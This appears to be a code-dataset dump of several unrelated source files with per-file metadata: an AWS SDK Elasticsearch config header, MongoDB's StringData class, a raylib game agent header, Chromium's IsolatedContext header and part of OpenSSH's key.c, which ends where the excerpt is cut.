m_logPublishingOptionsHasBeenSet; } /** * <p>Log publishing options for the given domain.</p> */ inline void SetLogPublishingOptions(const LogPublishingOptionsStatus& value) { m_logPublishingOptionsHasBeenSet = true; m_logPublishingOptions = value; } /** * <p>Log publishing options for the given domain.</p> */ inline void SetLogPublishingOptions(LogPublishingOptionsStatus&& value) { m_logPublishingOptionsHasBeenSet = true; m_logPublishingOptions = std::move(value); } /** * <p>Log publishing options for the given domain.</p> */ inline ElasticsearchDomainConfig& WithLogPublishingOptions(const LogPublishingOptionsStatus& value) { SetLogPublishingOptions(value); return *this;} /** * <p>Log publishing options for the given domain.</p> */ inline ElasticsearchDomainConfig& WithLogPublishingOptions(LogPublishingOptionsStatus&& value) { SetLogPublishingOptions(std::move(value)); return *this;} /** * <p>Specifies the <code>DomainEndpointOptions</code> for the Elasticsearch * domain.</p> */ inline const DomainEndpointOptionsStatus& GetDomainEndpointOptions() const{ return m_domainEndpointOptions; } /** * <p>Specifies the <code>DomainEndpointOptions</code> for the Elasticsearch * domain.</p> */ inline bool DomainEndpointOptionsHasBeenSet() const { return m_domainEndpointOptionsHasBeenSet; } /** * <p>Specifies the <code>DomainEndpointOptions</code> for the Elasticsearch * domain.</p> */ inline void SetDomainEndpointOptions(const DomainEndpointOptionsStatus& value) { m_domainEndpointOptionsHasBeenSet = true; m_domainEndpointOptions = value; } /** * <p>Specifies the <code>DomainEndpointOptions</code> for the Elasticsearch * domain.</p> */ inline void SetDomainEndpointOptions(DomainEndpointOptionsStatus&& value) { m_domainEndpointOptionsHasBeenSet = true; m_domainEndpointOptions = std::move(value); } /** * <p>Specifies the <code>DomainEndpointOptions</code> for the Elasticsearch * domain.</p> */ inline ElasticsearchDomainConfig& WithDomainEndpointOptions(const DomainEndpointOptionsStatus& value) { SetDomainEndpointOptions(value); return *this;} /** * <p>Specifies the <code>DomainEndpointOptions</code> for the Elasticsearch * domain.</p> */ inline ElasticsearchDomainConfig& WithDomainEndpointOptions(DomainEndpointOptionsStatus&& value) { SetDomainEndpointOptions(std::move(value)); return *this;} /** * <p>Specifies <code>AdvancedSecurityOptions</code> for the domain. </p> */ inline const AdvancedSecurityOptionsStatus& GetAdvancedSecurityOptions() const{ return m_advancedSecurityOptions; } /** * <p>Specifies <code>AdvancedSecurityOptions</code> for the domain. </p> */ inline bool AdvancedSecurityOptionsHasBeenSet() const { return m_advancedSecurityOptionsHasBeenSet; } /** * <p>Specifies <code>AdvancedSecurityOptions</code> for the domain. </p> */ inline void SetAdvancedSecurityOptions(const AdvancedSecurityOptionsStatus& value) { m_advancedSecurityOptionsHasBeenSet = true; m_advancedSecurityOptions = value; } /** * <p>Specifies <code>AdvancedSecurityOptions</code> for the domain. </p> */ inline void SetAdvancedSecurityOptions(AdvancedSecurityOptionsStatus&& value) { m_advancedSecurityOptionsHasBeenSet = true; m_advancedSecurityOptions = std::move(value); } /** * <p>Specifies <code>AdvancedSecurityOptions</code> for the domain. </p> */ inline ElasticsearchDomainConfig& WithAdvancedSecurityOptions(const AdvancedSecurityOptionsStatus& value) { SetAdvancedSecurityOptions(value); return *this;} /** * <p>Specifies <code>AdvancedSecurityOptions</code> for the domain. </p> */ inline ElasticsearchDomainConfig& WithAdvancedSecurityOptions(AdvancedSecurityOptionsStatus&& value) { SetAdvancedSecurityOptions(std::move(value)); return *this;} /** * <p>Specifies <code>AutoTuneOptions</code> for the domain. </p> */ inline const AutoTuneOptionsStatus& GetAutoTuneOptions() const{ return m_autoTuneOptions; } /** * <p>Specifies <code>AutoTuneOptions</code> for the domain. </p> */ inline bool AutoTuneOptionsHasBeenSet() const { return m_autoTuneOptionsHasBeenSet; } /** * <p>Specifies <code>AutoTuneOptions</code> for the domain. </p> */ inline void SetAutoTuneOptions(const AutoTuneOptionsStatus& value) { m_autoTuneOptionsHasBeenSet = true; m_autoTuneOptions = value; } /** * <p>Specifies <code>AutoTuneOptions</code> for the domain. </p> */ inline void SetAutoTuneOptions(AutoTuneOptionsStatus&& value) { m_autoTuneOptionsHasBeenSet = true; m_autoTuneOptions = std::move(value); } /** * <p>Specifies <code>AutoTuneOptions</code> for the domain. </p> */ inline ElasticsearchDomainConfig& WithAutoTuneOptions(const AutoTuneOptionsStatus& value) { SetAutoTuneOptions(value); return *this;} /** * <p>Specifies <code>AutoTuneOptions</code> for the domain. </p> */ inline ElasticsearchDomainConfig& WithAutoTuneOptions(AutoTuneOptionsStatus&& value) { SetAutoTuneOptions(std::move(value)); return *this;} /** * <p>Specifies change details of the domain configuration change.</p> */ inline const ChangeProgressDetails& GetChangeProgressDetails() const{ return m_changeProgressDetails; } /** * <p>Specifies change details of the domain configuration change.</p> */ inline bool ChangeProgressDetailsHasBeenSet() const { return m_changeProgressDetailsHasBeenSet; } /** * <p>Specifies change details of the domain configuration change.</p> */ inline void SetChangeProgressDetails(const ChangeProgressDetails& value) { m_changeProgressDetailsHasBeenSet = true; m_changeProgressDetails = value; } /** * <p>Specifies change details of the domain configuration change.</p> */ inline void SetChangeProgressDetails(ChangeProgressDetails&& value) { m_changeProgressDetailsHasBeenSet = true; m_changeProgressDetails = std::move(value); } /** * <p>Specifies change details of the domain configuration change.</p> */ inline ElasticsearchDomainConfig& WithChangeProgressDetails(const ChangeProgressDetails& value) { SetChangeProgressDetails(value); return *this;} /** * <p>Specifies change details of the domain configuration change.</p> */ inline ElasticsearchDomainConfig& WithChangeProgressDetails(ChangeProgressDetails&& value) { SetChangeProgressDetails(std::move(value)); return *this;} private: ElasticsearchVersionStatus m_elasticsearchVersion; bool m_elasticsearchVersionHasBeenSet; ElasticsearchClusterConfigStatus m_elasticsearchClusterConfig; bool m_elasticsearchClusterConfigHasBeenSet; EBSOptionsStatus m_eBSOptions; bool m_eBSOptionsHasBeenSet; AccessPoliciesStatus m_accessPolicies; bool m_accessPoliciesHasBeenSet; SnapshotOptionsStatus m_snapshotOptions; bool m_snapshotOptionsHasBeenSet; VPCDerivedInfoStatus m_vPCOptions; bool m_vPCOptionsHasBeenSet; CognitoOptionsStatus m_cognitoOptions; bool m_cognitoOptionsHasBeenSet; EncryptionAtRestOptionsStatus m_encryptionAtRestOptions; bool m_encryptionAtRestOptionsHasBeenSet; NodeToNodeEncryptionOptionsStatus m_nodeToNodeEncryptionOptions; bool m_nodeToNodeEncryptionOptionsHasBeenSet; AdvancedOptionsStatus m_advancedOptions; bool m_advancedOptionsHasBeenSet; LogPublishingOptionsStatus m_logPublishingOptions; bool m_logPublishingOptionsHasBeenSet; DomainEndpointOptionsStatus m_domainEndpointOptions; bool m_domainEndpointOptionsHasBeenSet; AdvancedSecurityOptionsStatus m_advancedSecurityOptions; bool m_advancedSecurityOptionsHasBeenSet; AutoTuneOptionsStatus m_autoTuneOptions; bool m_autoTuneOptionsHasBeenSet; ChangeProgressDetails m_changeProgressDetails; bool m_changeProgressDetailsHasBeenSet; }; } // namespace Model } // namespace ElasticsearchService } // namespace Aws
44.032761
191
0.728184
[ "model" ]
5cbc97d46c62d3dc9ff489b3c6895bd12042681a
7,095
h
C
src/mongo/base/string_data.h
amplidata/mongo
e33a6c57607871f1b204bd5e1d8ea4a14ad06452
[ "Apache-2.0" ]
1
2015-07-17T04:37:51.000Z
2015-07-17T04:37:51.000Z
src/mongo/base/string_data.h
liuaiping/mongo
9fbc9684ce381f5ef49709696ad0eb69f521d93c
[ "Apache-2.0" ]
null
null
null
src/mongo/base/string_data.h
liuaiping/mongo
9fbc9684ce381f5ef49709696ad0eb69f521d93c
[ "Apache-2.0" ]
null
null
null
// string_data.h /* Copyright 2010 10gen Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License, version 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * As a special exception, the copyright holders give permission to link the * code of portions of this program with the OpenSSL library under certain * conditions as described in each individual source file and distribute * linked combinations including the program with the OpenSSL library. You * must comply with the GNU Affero General Public License in all respects * for all of the code used other than as permitted herein. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you do not * wish to do so, delete this exception statement from your version. If you * delete this exception statement from all source files in the program, * then also delete it in the license file. */ #pragma once #include <algorithm> // for min #include <cstring> #include <iosfwd> #include <limits> #include <string> namespace mongo { using std::string; /** * A StringData object wraps a 'const std::string&' or a 'const char*' without copying its * contents. The most common usage is as a function argument that takes any of the two * forms of strings above. Fundamentally, this class tries go around the fact that string * literals in C++ are char[N]'s. * * Notes: * * + The object StringData wraps around must be alive while the StringData is. * * + Because std::string data can be used to pass a substring around, one should never assume a * rawData() terminates with a null. */ class StringData { public: /** Constructs an empty std::string data */ StringData() : _data(NULL), _size(0) {} /** * Constructs a StringData, for the case where the length of std::string is not known. 'c' * must be a pointer to a null-terminated string. */ StringData( const char* c ) : _data(c), _size((c == NULL) ? 0 : std::string::npos) {} /** * Constructs a StringData explicitly, for the case where the length of the std::string is * already known. 'c' must be a pointer to a null-terminated string, and len must * be the length that strlen(c) would return, a.k.a the index of the terminator in c. */ StringData( const char* c, size_t len ) : _data(c), _size(len) {} /** Constructs a StringData, for the case of a string. */ StringData( const std::string& s ) : _data(s.c_str()), _size(s.size()) {} /** * Constructs a StringData explicitly, for the case of a literal whose size is known at * compile time. */ struct LiteralTag {}; template<size_t N> StringData( const char (&val)[N], LiteralTag ) : _data(&val[0]), _size(N-1) {} /** * Returns -1, 0, or 1 if 'this' is less, equal, or greater than 'other' in * lexicographical order. */ int compare(const StringData& other) const; /** * note: this uses tolower, and therefore does not handle * come languages correctly. * should be use sparingly */ bool equalCaseInsensitive( const StringData& other ) const; void copyTo( char* dest, bool includeEndingNull ) const; StringData substr( size_t pos, size_t n = std::numeric_limits<size_t>::max() ) const; // // finders // size_t find( char c , size_t fromPos = 0 ) const; size_t find( const StringData& needle ) const; size_t rfind( char c, size_t fromPos = std::string::npos ) const; /** * Returns true if 'prefix' is a substring of this instance, anchored at position 0. */ bool startsWith( const StringData& prefix ) const; /** * Returns true if 'suffix' is a substring of this instance, anchored at the end. */ bool endsWith( const StringData& suffix ) const; // // accessors // /** * Get the pointer to the first byte of StringData. This is not guaranteed to be * null-terminated, so if using this without checking size(), you are likely doing * something wrong. */ const char* rawData() const { return _data; } size_t size() const { fillSize(); return _size; } bool empty() const { return size() == 0; } std::string toString() const { return std::string(_data, size()); } char operator[] ( unsigned pos ) const { return _data[pos]; } /** * Functor compatible with std::hash for std::unordered_{map,set} * Warning: The hash function is subject to change. Do not use in cases where hashes need * to be consistent across versions. */ struct Hasher { size_t operator() (const StringData& str) const; }; // // iterators // typedef const char* const_iterator; const_iterator begin() const { return rawData(); } const_iterator end() const { return rawData() + size(); } private: const char* _data; // is not guaranted to be null terminated (see "notes" above) mutable size_t _size; // 'size' does not include the null terminator void fillSize() const { if (_size == std::string::npos) { _size = strlen(_data); } } }; inline bool operator==(const StringData& lhs, const StringData& rhs) { return lhs.compare(rhs) == 0; } inline bool operator!=(const StringData& lhs, const StringData& rhs) { return lhs.compare(rhs) != 0; } inline bool operator<(const StringData& lhs, const StringData& rhs) { return lhs.compare(rhs) < 0 ; } inline bool operator<=(const StringData& lhs, const StringData& rhs) { return lhs.compare(rhs) <= 0; } inline bool operator>(const StringData& lhs, const StringData& rhs) { return lhs.compare(rhs) > 0; } inline bool operator>=(const StringData& lhs, const StringData& rhs) { return lhs.compare(rhs) >= 0; } std::ostream& operator<<(std::ostream& stream, const StringData& value); } // namespace mongo #include "mongo/base/string_data-inl.h"
35.653266
100
0.611839
[ "object" ]
5cc1171bd17ead5571c2a7b1d8fbfd5c751f1598
3,168
h
C
raygame/Agent.h
EthanJones19/Pac-Like
f07daca8cbf7fa89c431f27e6583c424766fd5de
[ "MIT" ]
null
null
null
raygame/Agent.h
EthanJones19/Pac-Like
f07daca8cbf7fa89c431f27e6583c424766fd5de
[ "MIT" ]
null
null
null
raygame/Agent.h
EthanJones19/Pac-Like
f07daca8cbf7fa89c431f27e6583c424766fd5de
[ "MIT" ]
1
2021-04-01T03:56:43.000Z
2021-04-01T03:56:43.000Z
#pragma once #include "Actor.h" #include <Vector2.h> #include <vector> class Behavior; class Agent : public Actor { public: Agent(); /// <param name="x">Position on the x axis</param> /// <param name="y">Position on the y axis</param> /// <param name="collisionRadius">The size of the circle surrounding the actor that will be used to detect collisions</param> /// <param name="icon">The symbol that will appear when drawn</param> /// <param name="maxSpeed">The largest the magnitude of the actors velocity can be</param> Agent(float x, float y, float collisionRadius, float maxSpeed, float maxForce, char icon); /// <param name="x">Position on the x axis</param> /// <param name="y">Position on the y axis</param> /// <param name="collisionRadius">The size of the circle surrounding the actor that will be used to detect collisions</param> /// <param name="icon">The symbol that will appear when drawn</param> /// <param name="maxSpeed">The largest the magnitude of the actors velocity can be</param> Agent(float x, float y, float collisionRadius, float maxSpeed, float maxForce, int color); /// <param name="x">Position on the x axis</param> /// <param name="y">Position on the y axis</param> /// <param name="collisionRadius">The size of the circle surrounding the actor that will be used to detect collisions</param> /// <param name="sprite">That sprite that will be drawn in this actors drawGraph function</param> /// <param name="maxSpeed">The largest the magnitude of the actors velocity can be</param> Agent(float x, float y, float collisionRadius, float maxSpeed, float maxForce, Sprite* sprite); /// <param name="x">Position on the x axis</param> /// <param name="y">Position on the y axis</param> /// <param name="collisionRadius">The size of the circle surrounding the actor that will be used to detect collisions</param> /// <param name="sprite">That path for the sprite that will be drawn in this actors drawGraph function</param> /// <param name="maxSpeed">The largest the magnitude of the actors velocity can be</param> Agent(float x, float y, float collisionRadius, float maxSpeed, float maxForce, const char* spriteFilePath); /// <summary> /// Update the agent and its behaviours. /// </summary> /// <param name="deltaTime"></param> virtual void update(float deltaTime) override; /// <returns>The maximum force that can be applied in a single update.</returns> float getMaxForce() { return m_maxForce; } /// <summary> /// Changes the maximum force that can be applied in a single update. /// </summary> /// <param name="value">The new maximum force.</param> void setMaxForce(float value) { m_maxForce = value; } /// <summary> /// Apply a force to the agent, affect its velocity. /// </summary> /// <param name="force"></param> void applyForce(MathLibrary::Vector2 force); /// <summary> /// Add a behaviour to the agent. /// </summary> /// <param name="behavior"></param> void addBehavior(Behavior* behavior); private: std::vector<Behavior*> m_behaviorList; MathLibrary::Vector2 m_force = { 0, 0 }; float m_maxForce; };
45.257143
127
0.696023
[ "vector" ]
5cc141ffe49fc44ae3ebe1d0a16a072ab8dc1659
8,534
h
C
webkit/browser/fileapi/isolated_context.h
7kbird/chrome
f56688375530f1003e34c34f441321977c5af3c3
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
webkit/browser/fileapi/isolated_context.h
7kbird/chrome
f56688375530f1003e34c34f441321977c5af3c3
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
webkit/browser/fileapi/isolated_context.h
7kbird/chrome
f56688375530f1003e34c34f441321977c5af3c3
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2020-11-04T07:23:37.000Z
2020-11-04T07:23:37.000Z
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef WEBKIT_BROWSER_FILEAPI_ISOLATED_CONTEXT_H_ #define WEBKIT_BROWSER_FILEAPI_ISOLATED_CONTEXT_H_ #include <map> #include <set> #include <string> #include <vector> #include "base/basictypes.h" #include "base/files/file_path.h" #include "base/lazy_instance.h" #include "base/memory/singleton.h" #include "base/synchronization/lock.h" #include "webkit/browser/fileapi/mount_points.h" #include "webkit/browser/webkit_storage_browser_export.h" #include "webkit/common/fileapi/file_system_types.h" namespace storage { class FileSystemURL; } namespace storage { // Manages isolated filesystem mount points which have no well-known names // and are identified by a string 'filesystem ID', which usually just looks // like random value. // This type of filesystem can be created on the fly and may go away when it has // no references from renderers. // Files in an isolated filesystem are registered with corresponding names and // identified by a filesystem URL like: // // filesystem:<origin>/isolated/<filesystem_id>/<name>/relative/path // // Some methods of this class are virtual just for mocking. // class WEBKIT_STORAGE_BROWSER_EXPORT IsolatedContext : public MountPoints { public: class WEBKIT_STORAGE_BROWSER_EXPORT FileInfoSet { public: FileInfoSet(); ~FileInfoSet(); // Add the given |path| to the set and populates |registered_name| with // the registered name assigned for the path. |path| needs to be // absolute and should not contain parent references. // Return false if the |path| is not valid and could not be added. bool AddPath(const base::FilePath& path, std::string* registered_name); // Add the given |path| with the |name|. // Return false if the |name| is already registered in the set or // is not valid and could not be added. bool AddPathWithName(const base::FilePath& path, const std::string& name); const std::set<MountPointInfo>& fileset() const { return fileset_; } private: std::set<MountPointInfo> fileset_; }; // The instance is lazily created per browser process. static IsolatedContext* GetInstance(); // Returns true if the given filesystem type is managed by IsolatedContext // (i.e. if the given |type| is Isolated or External). // TODO(kinuko): needs a better function name. static bool IsIsolatedType(FileSystemType type); // Registers a new isolated filesystem with the given FileInfoSet |files| // and returns the new filesystem_id. The files are registered with their // register_name as their keys so that later we can resolve the full paths // for the given name. We only expose the name and the ID for the // newly created filesystem to the renderer for the sake of security. // // The renderer will be sending filesystem requests with a virtual path like // '/<filesystem_id>/<registered_name>/<relative_path_from_the_dropped_path>' // for which we could crack in the browser process by calling // CrackIsolatedPath to get the full path. // // For example: if a dropped file has a path like '/a/b/foo' and we register // the path with the name 'foo' in the newly created filesystem. // Later if the context is asked to crack a virtual path like '/<fsid>/foo' // it can properly return the original path '/a/b/foo' by looking up the // internal mapping. Similarly if a dropped entry is a directory and its // path is like '/a/b/dir' a virtual path like '/<fsid>/dir/foo' can be // cracked into '/a/b/dir/foo'. // // Note that the path in |fileset| that contains '..' or is not an // absolute path is skipped and is not registered. std::string RegisterDraggedFileSystem(const FileInfoSet& files); // Registers a new isolated filesystem for a given |path| of filesystem // |type| filesystem with |filesystem_id| and returns a new filesystem ID. // |path| must be an absolute path which has no parent references ('..'). // If |register_name| is non-null and has non-empty string the path is // registered as the given |register_name|, otherwise it is populated // with the name internally assigned to the path. std::string RegisterFileSystemForPath(FileSystemType type, const std::string& filesystem_id, const base::FilePath& path, std::string* register_name); // Registers a virtual filesystem. This is different from // RegisterFileSystemForPath because register_name is required, and // cracked_path_prefix is allowed to be non-absolute. // |register_name| is required, since we cannot infer one from the path. // |cracked_path_prefix| has no parent references, but can be relative. std::string RegisterFileSystemForVirtualPath( FileSystemType type, const std::string& register_name, const base::FilePath& cracked_path_prefix); // Revokes all filesystem(s) registered for the given path. // This is assumed to be called when the registered path becomes // globally invalid, e.g. when a device for the path is detached. // // Note that this revokes the filesystem no matter how many references it has. // It is ok to call this for the path that has no associated filesystems. // Note that this only works for the filesystems registered by // |RegisterFileSystemForPath|. void RevokeFileSystemByPath(const base::FilePath& path); // Adds a reference to a filesystem specified by the given filesystem_id. void AddReference(const std::string& filesystem_id); // Removes a reference to a filesystem specified by the given filesystem_id. // If the reference count reaches 0 the isolated context gets destroyed. // It is OK to call this on the filesystem that has been already deleted // (e.g. by RevokeFileSystemByPath). void RemoveReference(const std::string& filesystem_id); // Returns a set of dragged MountPointInfos registered for the // |filesystem_id|. // The filesystem_id must be pointing to a dragged file system // (i.e. must be the one registered by RegisterDraggedFileSystem). // Returns false if the |filesystem_id| is not valid. bool GetDraggedFileInfo(const std::string& filesystem_id, std::vector<MountPointInfo>* files) const; // MountPoints overrides. virtual bool HandlesFileSystemMountType(FileSystemType type) const OVERRIDE; virtual bool RevokeFileSystem(const std::string& filesystem_id) OVERRIDE; virtual bool GetRegisteredPath(const std::string& filesystem_id, base::FilePath* path) const OVERRIDE; virtual bool CrackVirtualPath( const base::FilePath& virtual_path, std::string* filesystem_id, FileSystemType* type, std::string* cracked_id, base::FilePath* path, FileSystemMountOption* mount_option) const OVERRIDE; virtual FileSystemURL CrackURL(const GURL& url) const OVERRIDE; virtual FileSystemURL CreateCrackedFileSystemURL( const GURL& origin, FileSystemType type, const base::FilePath& path) const OVERRIDE; // Returns the virtual root path that looks like /<filesystem_id>. base::FilePath CreateVirtualRootPath(const std::string& filesystem_id) const; private: friend struct base::DefaultLazyInstanceTraits<IsolatedContext>; // Represents each file system instance (defined in the .cc). class Instance; typedef std::map<std::string, Instance*> IDToInstance; // Reverse map from registered path to IDs. typedef std::map<base::FilePath, std::set<std::string> > PathToID; // Obtain an instance of this class via GetInstance(). IsolatedContext(); virtual ~IsolatedContext(); // MountPoints overrides. virtual FileSystemURL CrackFileSystemURL( const FileSystemURL& url) const OVERRIDE; // Unregisters a file system of given |filesystem_id|. Must be called with // lock_ held. Returns true if the file system is unregistered. bool UnregisterFileSystem(const std::string& filesystem_id); // Returns a new filesystem_id. Called with lock. std::string GetNewFileSystemId() const; // This lock needs to be obtained when accessing the instance_map_. mutable base::Lock lock_; IDToInstance instance_map_; PathToID path_to_id_map_; DISALLOW_COPY_AND_ASSIGN(IsolatedContext); }; } // namespace storage #endif // WEBKIT_BROWSER_FILEAPI_ISOLATED_CONTEXT_H_
42.247525
80
0.730607
[ "vector" ]
5cc4132c011f256d9f78f00b411f990a71881237
56,194
c
C
usr/openssh/src/key.c
HawxChen/barrelfishOS
d8fbca601bfac61cc92ac06f5f5dd79ab18a8eaa
[ "MIT" ]
81
2015-01-02T23:53:38.000Z
2021-12-26T23:04:47.000Z
usr/openssh/src/key.c
salivarick/barrelfish
252246b89117b0a23f6caa48a8b166c7bf12f885
[ "MIT" ]
1
2016-09-21T06:27:06.000Z
2016-10-05T07:16:28.000Z
usr/openssh/src/key.c
salivarick/barrelfish
252246b89117b0a23f6caa48a8b166c7bf12f885
[ "MIT" ]
7
2015-03-11T14:27:15.000Z
2017-11-08T23:03:45.000Z
/* $OpenBSD: key.c,v 1.98 2011/10/18 04:58:26 djm Exp $ */ /* * read_bignum(): * Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland * * As far as I am concerned, the code I have written for this software * can be used freely for any purpose. Any derived versions of this * software must be clearly marked as such, and if the derived work is * incompatible with the protocol description in the RFC file, it must be * called by a name other than "ssh" or "Secure Shell". * * * Copyright (c) 2000, 2001 Markus Friedl. All rights reserved. * Copyright (c) 2008 Alexander von Gernler. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "includes.h" #include <sys/param.h> #include <sys/types.h> #include <openssl/evp.h> #include <openbsd-compat/openssl-compat.h> #include <stdarg.h> #include <stdio.h> #include <string.h> #include "xmalloc.h" #include "key.h" #include "rsa.h" #include "uuencode.h" #include "buffer.h" #include "log.h" #include "misc.h" #include "ssh2.h" static struct KeyCert * cert_new(void) { struct KeyCert *cert; cert = xcalloc(1, sizeof(*cert)); buffer_init(&cert->certblob); buffer_init(&cert->critical); buffer_init(&cert->extensions); cert->key_id = NULL; cert->principals = NULL; cert->signature_key = NULL; return cert; } Key * key_new(int type) { Key *k; RSA *rsa; DSA *dsa; k = xcalloc(1, sizeof(*k)); k->type = type; k->ecdsa = NULL; k->ecdsa_nid = -1; k->dsa = NULL; k->rsa = NULL; k->cert = NULL; switch (k->type) { case KEY_RSA1: case KEY_RSA: case KEY_RSA_CERT_V00: case KEY_RSA_CERT: if ((rsa = RSA_new()) == NULL) fatal("key_new: RSA_new failed"); if ((rsa->n = BN_new()) == NULL) fatal("key_new: BN_new failed"); if ((rsa->e = BN_new()) == NULL) fatal("key_new: BN_new failed"); k->rsa = rsa; break; case KEY_DSA: case KEY_DSA_CERT_V00: case KEY_DSA_CERT: if ((dsa = DSA_new()) == NULL) fatal("key_new: DSA_new failed"); if ((dsa->p = BN_new()) == NULL) fatal("key_new: BN_new failed"); if ((dsa->q = BN_new()) == NULL) fatal("key_new: BN_new failed"); if ((dsa->g = BN_new()) == NULL) fatal("key_new: BN_new failed"); if ((dsa->pub_key = BN_new()) == NULL) fatal("key_new: BN_new failed"); k->dsa = dsa; break; #ifdef OPENSSL_HAS_ECC case KEY_ECDSA: case KEY_ECDSA_CERT: /* Cannot do anything until we know the group */ break; #endif case KEY_UNSPEC: break; default: fatal("key_new: bad key type %d", k->type); break; } if (key_is_cert(k)) k->cert = cert_new(); return k; } void key_add_private(Key *k) { switch (k->type) { case KEY_RSA1: case KEY_RSA: case KEY_RSA_CERT_V00: case KEY_RSA_CERT: if ((k->rsa->d = BN_new()) == NULL) fatal("key_new_private: BN_new failed"); if ((k->rsa->iqmp = BN_new()) == NULL) fatal("key_new_private: BN_new failed"); if ((k->rsa->q = BN_new()) == NULL) fatal("key_new_private: BN_new failed"); if ((k->rsa->p = BN_new()) == NULL) fatal("key_new_private: BN_new failed"); if ((k->rsa->dmq1 = BN_new()) == NULL) fatal("key_new_private: BN_new failed"); if ((k->rsa->dmp1 = BN_new()) == NULL) fatal("key_new_private: BN_new failed"); break; case KEY_DSA: case KEY_DSA_CERT_V00: case KEY_DSA_CERT: if ((k->dsa->priv_key = BN_new()) == NULL) fatal("key_new_private: BN_new failed"); break; case KEY_ECDSA: case KEY_ECDSA_CERT: /* Cannot do anything until we know the group */ break; case KEY_UNSPEC: break; default: break; } } Key * key_new_private(int type) { Key *k = key_new(type); key_add_private(k); return k; } static void cert_free(struct KeyCert *cert) { u_int i; buffer_free(&cert->certblob); buffer_free(&cert->critical); buffer_free(&cert->extensions); if (cert->key_id != NULL) xfree(cert->key_id); for (i = 0; i < cert->nprincipals; i++) xfree(cert->principals[i]); if (cert->principals != NULL) xfree(cert->principals); if (cert->signature_key != NULL) key_free(cert->signature_key); } void key_free(Key *k) { if (k == NULL) fatal("key_free: key is NULL"); switch (k->type) { case KEY_RSA1: case KEY_RSA: case KEY_RSA_CERT_V00: case KEY_RSA_CERT: if (k->rsa != NULL) RSA_free(k->rsa); k->rsa = NULL; break; case KEY_DSA: case KEY_DSA_CERT_V00: case KEY_DSA_CERT: if (k->dsa != NULL) DSA_free(k->dsa); k->dsa = NULL; break; #ifdef OPENSSL_HAS_ECC case KEY_ECDSA: case KEY_ECDSA_CERT: if (k->ecdsa != NULL) EC_KEY_free(k->ecdsa); k->ecdsa = NULL; break; #endif case KEY_UNSPEC: break; default: fatal("key_free: bad key type %d", k->type); break; } if (key_is_cert(k)) { if (k->cert != NULL) cert_free(k->cert); k->cert = NULL; } xfree(k); } static int cert_compare(struct KeyCert *a, struct KeyCert *b) { if (a == NULL && b == NULL) return 1; if (a == NULL || b == NULL) return 0; if (buffer_len(&a->certblob) != buffer_len(&b->certblob)) return 0; if (timingsafe_bcmp(buffer_ptr(&a->certblob), buffer_ptr(&b->certblob), buffer_len(&a->certblob)) != 0) return 0; return 1; } /* * Compare public portions of key only, allowing comparisons between * certificates and plain keys too. */ int key_equal_public(const Key *a, const Key *b) { #ifdef OPENSSL_HAS_ECC BN_CTX *bnctx; #endif if (a == NULL || b == NULL || key_type_plain(a->type) != key_type_plain(b->type)) return 0; switch (a->type) { case KEY_RSA1: case KEY_RSA_CERT_V00: case KEY_RSA_CERT: case KEY_RSA: return a->rsa != NULL && b->rsa != NULL && BN_cmp(a->rsa->e, b->rsa->e) == 0 && BN_cmp(a->rsa->n, b->rsa->n) == 0; case KEY_DSA_CERT_V00: case KEY_DSA_CERT: case KEY_DSA: return a->dsa != NULL && b->dsa != NULL && BN_cmp(a->dsa->p, b->dsa->p) == 0 && BN_cmp(a->dsa->q, b->dsa->q) == 0 && BN_cmp(a->dsa->g, b->dsa->g) == 0 && BN_cmp(a->dsa->pub_key, b->dsa->pub_key) == 0; #ifdef OPENSSL_HAS_ECC case KEY_ECDSA_CERT: case KEY_ECDSA: if (a->ecdsa == NULL || b->ecdsa == NULL || EC_KEY_get0_public_key(a->ecdsa) == NULL || EC_KEY_get0_public_key(b->ecdsa) == NULL) return 0; if ((bnctx = BN_CTX_new()) == NULL) fatal("%s: BN_CTX_new failed", __func__); if (EC_GROUP_cmp(EC_KEY_get0_group(a->ecdsa), EC_KEY_get0_group(b->ecdsa), bnctx) != 0 || EC_POINT_cmp(EC_KEY_get0_group(a->ecdsa), EC_KEY_get0_public_key(a->ecdsa), EC_KEY_get0_public_key(b->ecdsa), bnctx) != 0) { BN_CTX_free(bnctx); return 0; } BN_CTX_free(bnctx); return 1; #endif /* OPENSSL_HAS_ECC */ default: fatal("key_equal: bad key type %d", a->type); } /* NOTREACHED */ } int key_equal(const Key *a, const Key *b) { if (a == NULL || b == NULL || a->type != b->type) return 0; if (key_is_cert(a)) { if (!cert_compare(a->cert, b->cert)) return 0; } 